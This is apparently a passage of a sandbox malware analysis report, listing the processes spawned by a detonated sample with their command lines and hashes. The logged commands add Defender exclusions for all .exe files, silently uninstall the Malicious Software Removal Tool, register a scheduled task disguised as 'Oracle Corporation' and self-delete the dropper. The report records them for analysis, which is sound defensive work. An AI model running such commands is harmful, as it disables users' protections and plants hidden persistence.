                                Start date:12/01/2025
                                Path:C:\Windows\System32\cmd.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0x7ff744460000
                                File size:289'792 bytes
                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:5
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\schtasks.exe /delete /f /tn "Oracle Corporation"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:6
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:7
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:8
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\Windows\System32\wusa.exe
                                Wow64 process (32bit):true
                                Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0xad0000
                                File size:345'088 bytes
                                MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:moderate
                                Has exited:true

                                General

                                Target ID:9
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:10
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:11
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\schtasks.exe /run /tn "Oracle Corporation"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:12
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\Windows\System32\cmd.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\sE5IdDeTp2.exe"
                                Imagebase:0x7ff744460000
                                File size:289'792 bytes
                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:13
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:14
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:15
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
                                Wow64 process (32bit):false
                                Commandline:C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
                                Imagebase:0x7ff695dc0000
                                File size:1'245'320 bytes
                                MD5 hash:DD36F6F79E68D5E54C75527DB2DA97AD
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Antivirus matches:
                                • Detection: 37%, ReversingLabs
                                Has exited:true

                                General

                                Target ID:16
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\Windows\System32\choice.exe
                                Wow64 process (32bit):false
                                Commandline:choice /C Y /N /D Y /T 3
                                Imagebase:0x7ff6e86d0000
                                File size:35'840 bytes
                                MD5 hash:1A9804F0C374283B094E9E55DC5EE128
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:17
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                Imagebase:0x7ff788560000
                                File size:452'608 bytes
                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:18
                                Start time:11:49:24
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:22
                                Start time:11:49:35
                                Start date:12/01/2025
                                Path:C:\Windows\System32\cmd.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0x7ff744460000
                                File size:289'792 bytes
                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:23
                                Start time:11:49:35
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:24
                                Start time:11:49:35
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:25
                                Start time:11:49:35
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:26
                                Start time:11:49:35
                                Start date:12/01/2025
                                Path:C:\Windows\System32\wusa.exe
                                Wow64 process (32bit):false
                                Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0x7ff7a5710000
                                File size:345'088 bytes
                                MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:27
                                Start time:11:49:35
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:false

                                General

                                Target ID:28
                                Start time:11:49:47
                                Start date:12/01/2025
                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                Imagebase:0x7ff788560000
                                File size:452'608 bytes
                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:29
                                Start time:11:49:47
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:30
                                Start time:11:49:58
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:31
                                Start time:11:49:58
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:32
                                Start time:11:49:58
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:33
                                Start time:11:49:58
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:34
                                Start time:11:49:58
                                Start date:12/01/2025
                                Path:C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
                                Wow64 process (32bit):false
                                Commandline:C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
                                Imagebase:0x7ff79f710000
                                File size:1'245'320 bytes
                                MD5 hash:DD36F6F79E68D5E54C75527DB2DA97AD
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:35
                                Start time:11:49:58
                                Start date:12/01/2025
                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                Imagebase:0x7ff788560000
                                File size:452'608 bytes
                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:36
                                Start time:11:49:58
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:37
                                Start time:11:50:09
                                Start date:12/01/2025
                                Path:C:\Windows\System32\cmd.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0x7ff744460000
                                File size:289'792 bytes
                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:38
                                Start time:11:50:09
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:39
                                Start time:11:50:09
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:40
                                Start time:11:50:09
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:41
                                Start time:11:50:09
                                Start date:12/01/2025
                                Path:C:\Windows\System32\wusa.exe
                                Wow64 process (32bit):false
                                Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0x7ff7a5710000
                                File size:345'088 bytes
                                MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:42
                                Start time:11:50:09
                                Start date:12/01/2025
                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                Imagebase:0x7ff788560000
                                File size:452'608 bytes
                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:43
                                Start time:11:50:09
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:44
                                Start time:11:50:19
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:45
                                Start time:11:50:19
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:46
                                Start time:11:50:19
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:47
                                Start time:11:50:19
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:48
                                Start time:11:50:19
                                Start date:12/01/2025
                                Path:C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
                                Wow64 process (32bit):false
                                Commandline:C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
                                Imagebase:0x7ff7f21d0000
                                File size:1'245'320 bytes
                                MD5 hash:DD36F6F79E68D5E54C75527DB2DA97AD
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:49
                                Start time:11:50:19
                                Start date:12/01/2025
                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                Imagebase:0x7ff788560000
                                File size:452'608 bytes
                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:50
                                Start time:11:50:19
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:51
                                Start time:11:50:30
                                Start date:12/01/2025
                                Path:C:\Windows\System32\cmd.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0x7ff744460000
                                File size:289'792 bytes
                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:52
                                Start time:11:50:30
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:53
                                Start time:11:50:30
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:54
                                Start time:11:50:30
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:55
                                Start time:11:50:30
                                Start date:12/01/2025
                                Path:C:\Windows\System32\wusa.exe
                                Wow64 process (32bit):false
                                Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0x7ff7a5710000
                                File size:345'088 bytes
                                MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:56
                                Start time:11:50:30
                                Start date:12/01/2025
                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                Imagebase:0x7ff788560000
                                File size:452'608 bytes
                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:57
                                Start time:11:50:30
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:59
                                Start time:11:50:41
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:60
                                Start time:11:50:41
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:61
                                Start time:11:50:41
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:62
                                Start time:11:50:41
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:63
                                Start time:11:50:41
                                Start date:12/01/2025
                                Path:C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
                                Wow64 process (32bit):false
                                Commandline:C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
                                Imagebase:0x7ff7cfc20000
                                File size:1'245'320 bytes
                                MD5 hash:DD36F6F79E68D5E54C75527DB2DA97AD
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:64
                                Start time:11:50:41
                                Start date:12/01/2025
                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                Imagebase:0x7ff788560000
                                File size:452'608 bytes
                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:65
                                Start time:11:50:41
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:66
                                Start time:11:50:51
                                Start date:12/01/2025
                                Path:C:\Windows\System32\cmd.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0x7ff744460000
                                File size:289'792 bytes
                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:67
                                Start time:11:50:51
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:68
                                Start time:11:50:51
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:69
                                Start time:11:50:51
                                Start date:12/01/2025
